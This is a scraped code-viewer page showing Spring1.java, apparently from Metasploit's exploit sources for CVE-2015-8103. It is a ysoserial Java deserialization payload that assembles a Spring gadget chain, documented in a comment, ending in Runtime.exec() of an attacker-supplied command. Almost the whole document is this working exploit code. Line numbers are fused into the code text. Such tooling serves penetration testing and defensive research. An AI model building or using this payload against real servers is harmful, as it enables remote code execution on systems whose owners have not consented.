Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2015-8103/payloads/Spring1.java
Views: 11784
package ysoserial.payloads;12import static java.lang.Class.forName;34import java.lang.reflect.Constructor;5import java.lang.reflect.InvocationHandler;6import java.lang.reflect.Type;78import javax.xml.transform.Templates;910import org.springframework.beans.factory.ObjectFactory;1112import ysoserial.payloads.annotation.Dependencies;13import ysoserial.payloads.util.Gadgets;14import ysoserial.payloads.util.PayloadRunner;15import ysoserial.payloads.util.Reflections;1617import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;1819/*20Gadget chain:2122ObjectInputStream.readObject()23SerializableTypeWrapper.MethodInvokeTypeProvider.readObject()24SerializableTypeWrapper.TypeProvider(Proxy).getType()25AnnotationInvocationHandler.invoke()26HashMap.get()27ReflectionUtils.findMethod()28SerializableTypeWrapper.TypeProvider(Proxy).getType()29AnnotationInvocationHandler.invoke()30HashMap.get()31ReflectionUtils.invokeMethod()32Method.invoke()33Templates(Proxy).newTransformer()34AutowireUtils.ObjectFactoryDelegatingInvocationHandler.invoke()35ObjectFactory(Proxy).getObject()36AnnotationInvocationHandler.invoke()37HashMap.get()38Method.invoke()39TemplatesImpl.newTransformer()40TemplatesImpl.getTransletInstance()41TemplatesImpl.defineTransletClasses()42TemplatesImpl.TransletClassLoader.defineClass()43Pwner*(Javassist-generated).<static init>44Runtime.exec()4546*/4748@SuppressWarnings({"restriction", "rawtypes"})49@Dependencies({"org.springframework:spring-core:4.1.4.RELEASE","org.springframework:spring-beans:4.1.4.RELEASE"})50public class Spring1 extends PayloadRunner implements ObjectPayload<Object> {5152public Object getObject(final String command) throws Exception {53final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);5455final ObjectFactory objectFactoryProxy =56Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class);5758final Type typeTemplatesProxy = Gadgets.createProxy((InvocationHandler)59Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler")60.newInstance(objectFactoryProxy), Type.class, Templates.class);6162final Object typeProviderProxy = Gadgets.createMemoitizedProxy(63Gadgets.createMap("getType", typeTemplatesProxy),64forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));6566final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");67final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[] {}), 0);68Reflections.setFieldValue(mitp, "methodName", "newTransformer");6970return mitp;71}7273public static void main(final String[] args) throws Exception {74PayloadRunner.run(Spring1.class, args);75}7677}787980